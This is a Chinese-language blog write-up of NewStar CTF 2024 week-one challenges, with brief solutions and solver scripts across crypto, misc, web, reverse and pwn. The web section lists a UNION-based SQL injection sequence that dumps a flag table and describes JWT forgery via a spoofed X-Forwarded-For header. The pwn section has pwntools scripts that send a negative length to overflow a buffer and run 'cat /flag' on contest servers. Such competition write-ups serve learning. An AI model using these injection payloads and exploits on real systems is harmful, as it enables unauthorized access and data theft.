NewStar2024-week1
前言:刚开始比赛,时间比较多尝试了一下所有题目,难度也很友好,之后就写密码了,写全部太累了
Week1
Crypto
Base
4C4A575851324332474E324547554B494A5A4446513653434E564D444154545A4B354D45454D434E4959345536544B474D5134513D3D3D3D
秒了
一眼秒了
p,q相近
或者factordb查
"""from Crypto.Util.number import * from gmpy2 import * from serct import flag p = getPrime(512) q = getPrime(512) n = p*q m = bytes_to_long(flag) e = 65537 c = powmod(m, e, n) print(n) print(c)""" from Crypto.Util.number import * from gmpy2 import * n=52147017298260357180329101776864095134806848020663558064141648200366079331962132411967917697877875277103045755972006084078559453777291403087575061382674872573336431876500128247133861957730154418461680506403680189755399752882558438393107151815794295272358955300914752523377417192504702798450787430403387076153 c=48757373363225981717076130816529380470563968650367175499612268073517990636849798038662283440350470812898424299904371831068541394247432423751879457624606194334196130444478878533092854342610288522236409554286954091860638388043037601371807379269588474814290382239910358697485110591812060488786552463208464541069 p=iroot(n,2)[0] p=next_prime(p) while n%p!=0: p=next_prime(p) print(long_to_bytes(pow(c,invert(65537,p-1),p))) #b'flag{9cd4b35a-affc-422a-9862-58e1cc3ff8d2}'
xor
重新执行一遍就好
"""#As a freshman starting in 2024, you should know something about XOR, so this task is for you to sign in. from pwn import xor #The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths from Crypto.Util.number import bytes_to_long key = b'New_Star_CTF' flag='flag{*******************}' m1 = bytes_to_long(bytes(flag[:13], encoding='utf-8')) m2 = flag[13:] c1 = m1 ^ bytes_to_long(key) c2 = xor(key, m2) print('c1=',c1) print('c2=',c2) """ from pwn import xor from Crypto.Util.number import long_to_bytes,bytes_to_long key = b'New_Star_CTF' c1= 8091799978721254458294926060841 c2= b';:\x1c1<\x03>*\x10\x11u;' print(long_to_bytes(c1 ^ bytes_to_long(key))) print(xor(key,c2)) #flag{0ops!_you_know_XOR!}
Strange King
某喜欢抽锐刻5的皇帝想每天进步一些,直到他娶了个模,回到原点,全部白给
这是他最后留下的讯息:ksjr{EcxvpdErSvcDgdgEzxqjql},flag包裹的是可读的明文
根据题目简介,一开始密钥为5,要取模
经过测试,密钥每次要+2
a="ksjr{EcxvpdErSvcDgdgEzxqjql}" #print(ord('k')) #print(ord('f')) #print(ord('a')) #print(ord('l')) key=5 for i in a: if 'a'<=i<='z': print(chr((ord(i)-ord('a')-key)%26+ord('a')),end="") elif 'A'<=i<='Z': print(chr((ord(i)-ord('A')-key)%26+ord('A')),end="") else: print(i,end="") key+=2
Misc
兑换码
png改高
Labyrinth
stegsolve秒了
WhereIsFlag
一个个目录遍历就好了
在/proc/self/environ里
pleasingMusic
最后有摩斯电码
一首歌可以好听到正反都好听
根据题目介绍,逆一下就对了
decompress
7z打开一直往里走,最后得到一个真加密的压缩包
并获得提示:^([a-z]){3}\d[a-z]$
zip2john获取hash,根据提示hashcat爆破
Web
headach3
F12看响应头
会赢吗
第一部分F12查看源码,并获得第二部分地址
访问之后看源码可以得到一个函数revealFlag
根据提示在控制台输入并传递参数
测试一下就得到了第二部分flag
启动本地替代,修改对应源码位置
之后点击即可得到第三部分flag
将js代码里下面console.log的代码覆盖掉上面监听的代码,之后点击按钮即可。
最后base64解码即可
智械危机
看源码用cyberchef就可以了
(下图是cmd参数的值,把灰色点亮就是key的值)
谢谢皮蛋
sqli第二关,无闭合
# 确认回显位置 -1 union select 1,2-- # 查询数据库名 -1 union select 1,database() -- # 查询表名 -1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- # 得到表Fl4g # 查询列名 -1 union select 1,group_concat(column_name) from information_schema.columns where table_name='Fl4g' and table_schema=database()-- # 得到列 id,des,value # 查询值 -1 union select group_concat(value),group_concat(des) from Fl4g--
PangBai 过家家(1)
(从头梳理一遍,一开始就用bp抓包等着)
level1→level2
点击屏幕后等过场动画完,会发现从/start重定向回到了根目录
这时候的返回包里有location,这就是level2的地址
直接访问这个地址就会重新重定向到level2
(服务器是通过token中的jwt值来判断处在level几的)
level2→level3
将最新的包拉到Repeater去重新编辑发送
根据提示,使用GET请求,参数为ask,值为miao
当返回包为302响应时,才表示成功
之后要把右侧的token值覆盖掉原来的token,才能放问下一关
如下图,修改后重新发包即可
level3→level4
根据提示,使用POST提交数据
修改三处常规的即可
之后同上,修改token值
level4→level5
第一步,根据提示修改User-Agent的值,需要符合语法,需要加上版本号,这里随意数字(不一定需要小数点)
之后得到提示,需要说“玛卡巴卡阿卡哇卡米卡玛卡呣”,由于bp不好发中文,这里进行url编码再发送
成功
(之后记得修改token值)
level5→level6
之后按照提示,使用PATCH方法
(我不太懂,所以我交给了AI,具体修改内容如下
需要将Content-type修改为multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
之后在后面添加上原来的POST数据(不然Pangbai不让你过)
之后再添加上提示的内容(补丁包)
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="say"玛卡巴卡阿卡哇卡米卡玛卡呣
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="*.zip"
Content-Type: application/zipnaby
------WebKitFormBoundary7MA4YWxkTrZu0gW--
(成功之后记得修改token值)
level6
首先需要修改成localhost访问
添加参数X-forwarded-for:127.0.0.1
之后得到jwt加密密钥:Fo4iw52x6nYnonu2
(这就是密钥,前后的不是密钥缺失部分)
将我们已知token里的jwt拿去修改
测试一遍后是将level改成0即可
之后使用浏览器打开访问/start,hackbar改token发包就可以啦
Reverse
begin
简单题开始记事本大法,最后一个flag还是需要ida打开看函数名。
base64
这个就可以记事本大法了
可以才出来就是换表base64
Simple_encryption
很简单的加密逻辑,最后模256就好了
data=[0x47, 0x95, 0x34, 0x48, 0xA4, 0x1C, 0x35, 0x88, 0x64, 0x16, 0x88, 0x07, 0x14, 0x6A, 0x39, 0x12, 0xA2, 0x0A, 0x37, 0x5C, 0x07, 0x5A, 0x56, 0x60, 0x12, 0x76, 0x25, 0x12, 0x8E, 0x28] key=[0x1f,0x29,0x55] for i in range(len(data)): if i%3==0: m=data[i]+key[i%3] elif i%3==1: m=data[i]-key[i%3] else: m=data[i]^key[i%3] print(chr(m%256),end="") # flag{IT_15_R3Al1y_V3Ry-51Mp1e}
ezAndroidStudy
用jeb_pro打开。
上面搜索可以发现其实有多段flag,我们就带上数字搜
flag1
flag{Y0u
flag2
搜索flag2后,在这里看伪代码
后面注释得到flag2:_@r4
flag3
在flag2处可以发现剩下几个flag的提示,第三部分说是要去找布局
public static int third = 0x7F1200B6; // string:third "layout 就是布局的意思呢,/res/layout 里的带 Activity 字样的 xml 文件通常是用来描述一个 Activity的大体布局,你能找到布局里藏起来的 flag 吗喵?"
以压缩包形式打开apk,并解压里面的./res/layout
根据提示搜索Activity,看到有个main的,打开发现flag3: _900d
flag4
flag4在我们一开始搜索flag的时候就发现是一个文本,打开就是了
flag4: _andr01d
flag5
根据flag2找到的提示,需要逆向.so文件
string:fifth "安卓卓用到的可不只有 java 呢,你知道怎么逆向安卓的 so 文件吗喵"
搜索flag5可以发现使用的so文件
同样使用压缩包方式打开apk文件
在lib里可以找到.so文件
在对应文件里可有看到flag5: _r4V4rs4r}
最后拼接flag:flag{Y0u_@r4_900d_andr01d_r4V4rs4r}
ez_debug
在right前面打个断点,之后按几次F8就可以查看到flag
Pwn
Real Login
直接登录输入密码就好了
Game
有限时,需要使用程序传数据
from pwn import * r=remote("101.200.139.65",20967) for i in range(999//9+1): r.sendline(b'9') r.sendline(b'cat /flag') print(r.recvline()) r.interactive()
overwrite
exeinfope打开看是64位的
int的nbytes最后被转成了unsigned int
我直接用负数打了
from pwn import * from Crypto.Util.number import * r=remote("39.106.48.123",41557) r.recvuntil(b'readin: ') r.sendline(str(-1).encode()) r.recvuntil(b'to say: ') payload=b'a'*48+b'114515' r.sendline(payload) r.interactive()
gdb
用gdb调试运行之后可以得到最后的值4557455355431d5d,reverse一下就好了
from pwn import * r=remote("8.147.132.32",16637) payload=bytes.fromhex("4557455355431d5d") r.recvuntil(b"data: ") r.sendline(payload[::-1]) r.interactive()
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)